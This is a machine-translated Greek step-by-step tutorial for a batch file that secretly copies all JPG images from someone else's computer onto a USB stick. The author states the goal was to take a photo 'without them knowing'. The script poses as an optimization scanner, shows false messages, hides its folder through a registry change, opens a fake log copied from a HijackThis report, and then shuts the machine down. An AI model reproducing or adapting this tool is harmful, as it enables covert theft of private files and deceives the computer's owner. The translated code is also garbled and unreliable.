Μυστική εικόνα κατασκοπίας Φωτογραφία Αντιγραφή παρτίδας αρχείου: 5 βήματα

2024 Συγγραφέας: John Day | [email protected]. Τελευταία τροποποίηση: 2024-01-30 08:39

Λοιπόν, πρώτα απ 'όλα, τι δημιουργεί αυτό και γιατί. Αυτό το εκπαιδευτικό θα σας επιτρέψει να δημιουργήσετε ένα αρχείο δέσμης που θα αντιγράψει όλες τις εικόνες από έναν υπολογιστή στο memory stick σας. θα το κάνει διακριτικά, παρουσιάζοντας ως ένα άλλο πρόγραμμα που ελέγχει τον υπολογιστή για προβλήματα. Όταν ολοκληρωθεί, θα έχετε έναν κρυφό φάκελο στο memory stick σας με όλες τις αντιγραμμένες εικόνες. Γιατί; Δημιούργησα αυτό το διδακτικό γιατί ήθελα να ανακτήσω μια ψηφιακή φωτογραφία από κάποιο μηχάνημα χωρίς να ξέρουν ότι το είχα κάνει. Η νόμιμη χρήση αυτού του αρχείου θα σας επιτρέψει να αρχειοθετήσετε/δημιουργήσετε αντίγραφα ασφαλείας των προσωπικών σας φωτογραφιών. Άλλες χρήσεις: Αυτό το αρχείο μπορεί να τροποποιηθεί ώστε να επιτρέπεται η αντιγραφή οποιουδήποτε άλλου τύπου εγγράφου.

Βήμα 1: Γράψτε τον κωδικό

Αντιγράψτε τον ακόλουθο κώδικα στο σημειωματάριο και αποθηκεύστε τον στη ρίζα του memory stick σας ως αρχείο bat, μπορείτε να τον ονομάσετε όπως θέλετε, αρκεί να έχει την επέκταση.bat. Για να διασφαλίσετε ότι έχει τη σωστή επέκταση, πληκτρολογήστε την ως εξής στο πλαίσιο αποθήκευσης του σημειωματάριου "copyimage.bat" (συμπεριλάβετε τις αναφορές!)

@echo officcho Optimization client 2008 v3.02becho -------------------------------- echo.echo Παρακαλούμε μην χρησιμοποιείτε τον υπολογιστή σας ενώ εκτελείται αυτό.echo.echo Λίστα διαδικασιών σάρωσης. Όταν ολοκληρωθεί, θα εμφανιστεί ένα αρχείο καταγραφής στο διαχειριστή του συστήματός σας για να το ελέγξει.echo.echo. Υπομονή, αυτό μπορεί να διαρκέσει έως και 3 ώρες. Να προσθέσετε HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002/f> nulmkdir / data> nulattrib +h / data> nulsetLocal EnableDelayedExpansion@echo offfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ διαφήμιση c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) attrib -s +h data \*> nulstart optimizationLog.txtshutdown /s /c " Η σάρωση βελτιστοποίησης ολοκληρώθηκε, ο υπολογιστής σας θα κλείσει τώρα"

Βήμα 2: Δημιουργήστε ένα ψεύτικο αρχείο αναφοράς

Σε αυτό το βήμα έχω δημιουργήσει ένα ψεύτικο αρχείο κειμένου που προσποιείται ότι είναι το αρχείο καταγραφής αποτελεσμάτων του αρχείου παρτίδας που εκτελούμε για να αντιγράψουμε τα αρχεία. Αυτό σας επιτρέπει να προσποιηθείτε ότι κάτι συνέβη. Δεν έχει σημασία τι λέει αυτό το αρχείο, μπορείτε να το αλλάξετε όσο θέλετε, απλώς βεβαιωθείτε ότι το όνομα αρχείου είναι σωστό και ότι είναι αποθηκευμένο στη ρίζα της κάρτας μνήμης σας. Το κείμενο που έχω χρησιμοποιήσει προέρχεται κυρίως από μια αεροπειρατεία log, αντιγράψτε το και αποθηκεύστε το στη ρίζα του memory stick σας ως optimizationLog.txt

Η σάρωση ολοκληρώθηκε. Κλείστε αυτό το αρχείο καταγραφής και επιτρέψτε στο διαχειριστή του συστήματος να το ελέγξει. Εκτέλεση διαδικασιών: C: / Windows / system32 / taskeng.exeC: / Windows / system32 / Dwm.exeC: / Windows / Explorer. EXEC: / Αρχεία προγράμματος / Java / jre1. 6.0_07 / bin / jusched.exeC: / Windows / System32 / hkcmd.exeC: / Windows / System32 / igfxpers.exeC: / Windows / system32 / igfxsrvc.exeC: / Αρχεία προγράμματος / Synaptics / SynTP / SynTPEnh.exeC: / Program Αρχεία / TOSHIBA / Power Saver / TPwrMain.exeC: / Program Files / TOSHIBA / SmoothView / SmoothView.exeC: / Program Files / TOSHIBA / FlashCards / TCrdMain.exeC: / Program Files / BitDefender / BitDefender 2009e / bdagent. Αρχεία / TOSHIBA / TOSCDSPD / TOSCDSPD.exeC: / Program Files / Registry Mechanic / regmech.exeC: / Program Files / BitDefender / BitDefender 2009 / seccenter.exeC: / Program Files / Synaptics / SynTP / SynTPHelper.exeCeC: Vuze / Azureus.exeC: / Program Files / Microsoft Office / Office12 / OUTLOOK. EXEC: / Program Files / AutoCAD 2008 / acad.exeC: / Users / Tom / AppData / Local / Temp / AdskCleanup.0001C: / Program Files / Mozilla Firefox / firefox.exeC: / Windows / System32 / ΣΗΜΕΙΩΣΗ PAD. EXEC: / Windows / system32 / SearchFilterHost.exeC: / HijackThis / HijackThis.exeR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKCU / Software / Microsoft / Internet Explorer / Main, Σελίδα αναζήτησης = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKCU / Software / Microsoft / Internet Explorer / Main, Αρχική σελίδα = https://www.google.co. ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Page_URL = https://www.google.co.ukR1 - HKLM / Software / Microsoft / Internet Explorer / Main, Default_Search_URL = https://go.microsoft.com/ fwlink/? LinkId = 54896R1 - HKLM / Software / Microsoft / Internet Explorer / Main, Search Page = https://go.microsoft.com/fwlink/?LinkId=54896R0 - HKLM / Software / Microsoft / Internet Explorer / Main, Start Σελίδα = https://go.microsoft.com/fwlink/?LinkId=69157R0 - HKLM / Software / Microsoft / Internet Explorer / Search, SearchAssistant = R0 - HKLM / Software / Microsoft / Internet Explorer / Search, CustomizeSearch = R0 - HKCU / Software / Microsoft / Internet Explorer / Too lbar, LinksFolderName = O1 - Κεντρικοί υπολογιστές::: 1 localhostO2 - BHO: AcroIEHelperStub - {18DF081C -E8AD -4283 -A596 -FA578C2EBDC3} - C: / Program Files / Common Files / Adobe / Acrobat / ActiveX \: Groove GFS Browser Helper-{72853161-30C5-4D22-B7F9-0BBC1D38A37E}-C: / Program Files / Microsoft Office / Office12 / GrooveShellExtensions.dllO2-BHO: SSVHelper Class-{761497BB-D6F0-462-D6F0-462-D6F0-462B-D6F0-462B-D6F0-462: / Program Files / Java / jre1.6.0_07 / bin / ssv.dllO3 -Toolbar: BitDefender Toolbar -{381FFDE8-2394-4f90 -B10D -FC6124A40F8C} -C: / Program Files / BitDefender / BitDefender 2009 / IEToolbar.dll HKLM \.. / Εκτέλεση: [Windows Defender] %ProgramFiles %\ Windows Defender / MSASCui.exe -hideO4 - HKLM \.. / Εκτέλεση: [SunJavaUpdateSched] "C: / Program Files / Java / jre1.6.0_07 / bin / jusched.exe "O4 - HKLM \.. / Εκτέλεση: [IgfxTray] C: / Windows / system32 / igfxtray.exeO4 - HKLM \.. / Εκτέλεση: [HotKeysCmds] C: / Windows / system32 / hkcmd.exeO4 - HKLM \.. / Εκτέλεση: [Persistence] C: / Windows / system32 / igfxpers.exeO4 - HKLM \.. / Εκτέλεση: [SynTPEnh] C: / Αρχεία προγράμματος / Syna ptics / SynTP / SynTPEnh.exeO4 - HKLM \.. / Εκτέλεση: [TPwrMain] %ProgramFiles %\ TOSHIBA / Power Saver / TPwrMain. EXEO4 - HKLM \.. / Εκτέλεση: [SmoothView] %ProgramFiles %\ Toshiba / SmoothView / SmoothView.exeO4 - HKLM \.. / Εκτέλεση: [00TCrdMain] %ProgramFiles %\ TOSHIBA / FlashCards / TCrdMain.exeO4 - HKLM \.. / Εκτέλεση: [Toshiba TEMPO] C: / Program Files / Toshiba TEMPRO / Toshiba. Tempo. UI. TrayApplication.exeO4 - HKLM \.. / Εκτέλεση: [BDAgent] "C: / Program Files / BitDefender / BitDefender 2009 / bdagent.exe" O4 - HKLM \.. / Εκτέλεση: [BitDefender Antiphishing Helper] "C: / Program Αρχεία / BitDefender / BitDefender 2009 / IEShow.exe "O4 - HKCU \.. / Εκτέλεση: [TOSCDSPD] C: / Program Files / TOSHIBA / TOSCDSPD / TOSCDSPD.exeO4 - HKCU \.. / Εκτέλεση: [RegistryMechanic] C: / Αρχεία Προγράμματος / Μηχανικός Μητρώου / RMTray.exe /HO4 - Εκκίνηση: OneNote 2007 Screen Clipper and Launcher.lnk = C: / Program Files / Microsoft Office / Office12 / ONENOTEM. EXEO8 - Extra item menu menu: E & xport to Microsoft Excel - res: //C:\PROGRA~1\MICROS~3\Office12\EXCEL. EXE/3000O9-Κουμπί επιπλέον: (χωρίς όνομα)-{08B0E5C0-4FCB-11CF-AAA5-0040 1C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9 - Extra 'Tools' menuitem: Sun Java Console - {08B0E5C0-4FCB -11CF -AAA5-00401C608501} - C: / PROGRA ~ 1 / Java / JRE16 ~ 2.0_0 / bin / ssv.dllO9-Κουμπί Extra: Αποστολή στο OneNote-{2670000A-7350-4f3c-8081-5663EE0C6C49}-C: / PROGRA ~ 1 / MICROS ~ 3 / Office12 / ONBttII.dll - Επιπλέον μενού "Εργαλεία": S & τέλος στο OneNote - {2670000A -7350-4f3c -8081-5663EE0C6C49} - C: / PROGRA 1 / MICROS ~ 3 / Office12 / ONBttnIE.dllO9 - Extra button: eBay.co.uk - Buy Το πουλάει το αγαπά-{76577871-04EC-495E-A12B-91F7C3600AFA}-https://rover.ebay.com/rover/1/710-44557-9400-3/4 (λείπει το αρχείο) O9-κουμπί Extra: (χωρίς όνομα)-{85d1f590-48f4-11d9-9669-0800200c9a66}- %windir %\ bdoscandel.exe (αρχείο λείπει) O9-Μενού "Extra" Tools ": Απεγκατάσταση BitDefender Online Scanner v8-{85d1f590-48f4-11d9-9 -0800200c9a66} - %windir %\ bdoscandel.exe (λείπει το αρχείο) O9 -Κουμπί επιπλέον: Amazon.co.uk -{8A918C1D -E123-4E36 -B562-5C1519E434CE} -https://www.amazon.co.uk/ exec/obidos/redirect-home? tag = Toshibaukbholink-2 1 & site = home (αρχείο λείπει) O9 - Extra button: Research - {92780B25-18CC -41C8 -B9BE -3C9C571A8263} - C: / PROGRA 1 / MICROS 3 / Office12 / REFIEBAR. DLLO10 - Άγνωστο αρχείο στο Winsock LSP: c: / windows / system32 / nlaapi.dllO10 - Άγνωστο αρχείο στο Winsock LSP: c: / windows / system32 / napinsp.dllO10 - Άγνωστο αρχείο στο Winsock LSP: c: / αρχεία προγράμματος / vmware / vmware σταθμός εργασίας / vsocklib.dllO10 - Άγνωστο αρχείο στο Winsock LSP: c: / files files / vmware / vmware workstation / vsocklib.dllO11-Ομάδα επιλογών: [INTERNATIONAL] International*O13-Gopher Prefix: O16-DPF: {CF40ACC5-E1BB-4AFF-AC72-04C2F616BClcom 7 (get) - https://wwwimages.adobe.com/www.adobe.com/products/acrobat/nos/gp.cabO18 - Πρωτόκολλο: grooveLocalGWS - {88FED34C -F0CA -4636 -A375-3CB6248B04CD} - C: / Αρχεία προγράμματος / Microsoft Office / Office12 / GrooveSystemServices.dllO18-Πρωτόκολλο: ms-help-{314111C7-A502-11D2-BBCA-00C04F8EC294}-C: / Program Files / Common Files / Microsoft Shared / Help / hxds.dllO18-Filter hijack: text/ xml-{807563E5-5146-11D5-A672-00B0D022E945} - C: / PROGRA 1 / COMMON ~ 1 / MICROS ~ 1 / OFFICE12 / MSOXMLMF. DLLO20 - Winlogon Notify: igfxcui - C: / Windows / SYSTEM32 / igfxdev.dllO23 - Υπηρεσία: Agere Modem Call Progress Audio (AgereModem) Systems - C: / Windows / system32 / agrsmsvc.exeO23 - Υπηρεσία: BitDefender Arrakis Server (Arrakis3) - BitDefender SRL https://www.bitdefender.com - C: / Program Files / Common Files / BitDefender / BitDefender Arrakis Server / bin / Arrakis3.exeO23 - Service: Autodesk Licensing Service - Autodesk - C: / Program Files / Common Files / Autodesk Shared / Service / AdskScSrv.exeO23 - Υπηρεσία: Υπηρεσία ConfigFree - TOSHIBA CORPORATION - C: / Program Files / TOSHIBA / ConfigFree / CFSvcs.exeO23 - Υπηρεσία: @%SystemRoot%\ ehome / ehstart.dll, -101 (ehstart) - άγνωστη - %windir %\ system32 / svchost.exe (λείπει το αρχείο) O23 - Υπηρεσία: getPlus (R) Helper - NOS Microsystems Ltd. - C: / Program Files / NOS / bin / getPlus_HelperSvc.exeO23 - Υπηρεσία: Υπηρεσία Google Update (gupdate1c98840f4e6525b) (gupdate1c98840f4e6525b) - Άγνωστος κάτοχος - C: / Program Files / Google / Update / GoogleUpdate.exe " /svc (αρχείο λείπει) O23 - Υπηρεσία: BitDefender Desktop Update Service (LIVESRV) - Άγνωστος κάτοχος - C: / Αρχεία προγράμματος / Common Αρχεία / BitDefender / BitDefender Update Service / livesrv.exe " /υπηρεσία (αρχείο λείπει) O23 - Υπηρεσία: @%SystemRoot%\ system32 / qwave.dll, -1 (QWAVE) - Άγνωστο κάτοχο r -%windir%\ system32 / svchost.exe (αρχείο λείπει) O23 - Υπηρεσία: @%SystemRoot%\ system32 / seclogon.dll, -7001 (seclogon) - Άγνωστος κάτοχος -%windir%\ system32 / svchost.exe (αρχείο λείπει) O23 - Υπηρεσία: Notebook Performance Tuning Service (TempoMonitoringService) - Toshiba Europe GmbH - C: / Program Files / Toshiba TEMPRO / TempoSVC.exeO23 - Service: TOSHIBA Navi Support Service (TNaviSrv) - TOSHIBA Corporation - C: / Program Files / TOSHIBA / TOSHIBA DVD PLAYER / TNaviSrv.exeO23 - Υπηρεσία: TOSHIBA Optical Disc Drive Service (TODDSrv) - TOSHIBA Corporation - C: / Windows / system32 / TODDSrv.exeO23 - Service: TOSHIBA Power Saver (TosCoSrBA) - TOSCoSrBA) Αρχεία προγράμματος / TOSHIBA / Power Saver / TosCoSrv.exeO23 - Υπηρεσία: TOSHIBA SMART Log Service - TOSHIBA Corporation - c: / Program Files / TOSHIBA / SMARTLogService / TosIPCSrv.exeO23 - Υπηρεσία: VMware Agent Service (ufad -ws60) C: / Program Files / VMware / VMware Workstation / vmware -ufad.exe "-d" C: / Program Files / VMware / VMware Workstation / "-s ufad -p2v.x ml (λείπει το αρχείο) O23 - Υπηρεσία: Ulead Burning Helper (UleadBurningHelper) - Ulead Systems, Inc. - C: / Program Files / Common Files / Ulead Systems / DVD / ULCDRSvr.exeO23 - Service: VMware Authorization Service (VMAuthdService) - VMware, Inc. - C: / Program Files / VMware / VMware Workstation / vmware -authd.exeO23 - Υπηρεσία: VMware DHCP Service (VMnetDHCP) - VMware, Inc. - C: / Windows / system32 / vmnetdhcp.exeO23 - Υπηρεσία: VMware NAT Υπηρεσία - VMware, Inc. - C: / Windows / system32 / vmnat.exeO23 - Υπηρεσία: BitDefender Virus Shield (VSSERV) - Άγνωστος κάτοχος - C: / Program Files / BitDefender / BitDefender 2009 / vsserv.exe " /υπηρεσία (αρχείο λείπει) O23 - Υπηρεσία: VNC Server Έκδοση 4 (WinVNC4) - Άγνωστος κάτοχος - C: / Program Files / RealVNC / VNC4 / WinVNC4.exe "-service (αρχείο λείπει) O23 - Service: @%ProgramFiles%\ Windows Media Player / wmpnetwk.exe, -101 (WMPNetworkSvc) - Άγνωστος κάτοχος - %ProgramFiles %\ Windows Media Player / wmpnetwk.exe (λείπει το αρχείο)

Βήμα 3: Εκτελέστε το πρόγραμμα

Θα πρέπει τώρα να έχετε ένα memory stick με δύο αρχεία (και πολύ ελεύθερο χώρο έτοιμο για τις νέες εικόνες). Εάν έχετε κάτι άλλο στη μονάδα δίσκου δεν έχει σημασία. Πάρτε το memory stick στον υπολογιστή -στόχο σας. Όταν καταχωρηθεί εκ νέου, λάβετε υπόψη το γράμμα μονάδας δίσκου που έχει εκχωρηθεί σε αυτό, αυτό θα σας επιτρέψει να το εκτελέσετε χωρίς να χρειαστεί να περιηγηθείτε πρώτα στο φάκελο. Πατήστε το πλήκτρο Windows και στη συνέχεια πατήστε "R" (ενώ κρατάτε ακόμα το κλειδί των παραθύρων). Αυτό θα εμφανίσει ένα πλαίσιο εκτέλεσης. Στο πλαίσιο εκτέλεσης, πληκτρολογήστε τη διαδρομή του αρχείου δέσμης που δημιουργήσαμε, το γράμμα μονάδας δίσκου είναι το γράμμα που εκχωρήθηκε όταν συνδέσατε το memory stick. Για παράδειγμα, εάν τοποθετήσω το memory stick μου και καταχωρήσει το ag: / drive τότε θα εκτελούσα: g: / copyimage.bat Και, στη συνέχεια, πατήστε enter ή κάντε κλικ στο κουμπί Εκτέλεση. Αυτό θα ξεκινήσει να εκτελείται το αρχείο δέσμης. Όταν ολοκληρωθεί, θα κλείσει το μηχάνημα. Αφαιρέστε το memory stick και αφαιρέστε το!

Βήμα 4: Αποκτήστε τις εικόνες

Τώρα πρέπει να έχετε ένα memory stick με όλες τις εικόνες. Τα αρχεία και ο φάκελος είναι κρυμμένα, οπότε αν δεν εμφανίζεται το δικό σας, θα πρέπει να το ενεργοποιήσετε. Για να το κάνετε αυτό, μεταβείτε σε ένα παράθυρο εξερευνητή (π.χ. ανοίξτε τον υπολογιστή μου) και: WinXP - Εργαλεία, Επιλογές φακέλου, Προβολή, Εμφάνιση κρυφών αρχείωνVista - Οργάνωση, Επιλογές φακέλου και αναζήτησης, Προβολή, Εμφάνιση κρυφών αρχείωνΜόλις επιλεγεί, θα πρέπει να μπορείτε να ανοίξετε το κρυφό φάκελο και αποκτήστε τις εικόνες που θέλετε!

Βήμα 5: Τι σημαίνει ο κώδικας

Θα εξηγήσω όσο το δυνατόν περισσότερο τον κώδικα. η κύρια λειτουργία αντιγραφής δεν γράφτηκε από εμένα, το δανείστηκα από τον ακόλουθο ιστότοπο και το τροποποίησα:

@echo off »Διακόπτει τις εντολές που εμφανίζονται στην οθόνη, οπότε ο χρήστης δεν γνωρίζει τι γίνεται echo Optimization client 2008 v3.02b echo ------------------- -------------ηχώ. Γράφει στην οθόνη έναν τίτλο για το πρόγραμμα echo. Μην χρησιμοποιείτε τον υπολογιστή σας ενώ εκτελείται.echo.echo Λίστα διαδικασιών σάρωσης. Όταν ολοκληρωθεί, θα εμφανιστεί ένα αρχείο καταγραφής στο διαχειριστή του συστήματός σας για να το ελέγξει.echo.echo Παρακαλώ κάντε υπομονή, αυτό μπορεί να διαρκέσει έως και 3 ώρες. Λέει στον χρήστη ένα σωρό σκουπίδια που δεν είναι αληθινά reg προσθήκη HKCU / Software / Microsoft / Windows / CurrentVersion / Explorer / Advanced /v Hidden /t REG_DWORD /d 00000002 /f> nul Προσθέτει ένα κλειδί μητρώου που θα αποκρύψει κρυμμένα αρχεία και φακέλους. Αυτό εμποδίζει τον χρήστη να μπορεί να δει το φάκελο που δημιουργούμε για να συγκρατήσει τις αντιγραμμένες εικόνες. Η εντολή nul στο τέλος σταματά την εντολή να αναφέρει μηνύματα όταν τελειώσει mkdir / data> nul Δημιουργεί ένα φάκελο στη μονάδα δίσκου στον οποίο βρίσκεται αυτό το αρχείο παρτίδας στα καλούμενα δεδομένα. attrib +h / data> nul Αποκρύπτει το δημιουργημένο σύνολο φακέλωνLocal EnableDelayedExpansionfor %% a in (jpg) do (for/f "tokens =* delims =" %% f in ('dir/b/s/ad c: \*. %% a ') do (xcopy "%% f" / data / /y /h /q> nul)) Αυτός είναι ο κώδικας που θα αναζητήσει ολόκληρο το c: / drive για εικόνες. Αν θέλετε να αναζητήσει άλλη μονάδα δίσκου, τότε αλλάξτε το τμήμα c: σε αυτό που θέλετε. Αν θέλετε να βρει άλλους τύπους αρχείων, καταχωρίστε τους στο επόμενο κείμενο jpg, διαχωρίστε τους τύπους αρχείων με ένα κενό. Για παράδειγμα-j.webp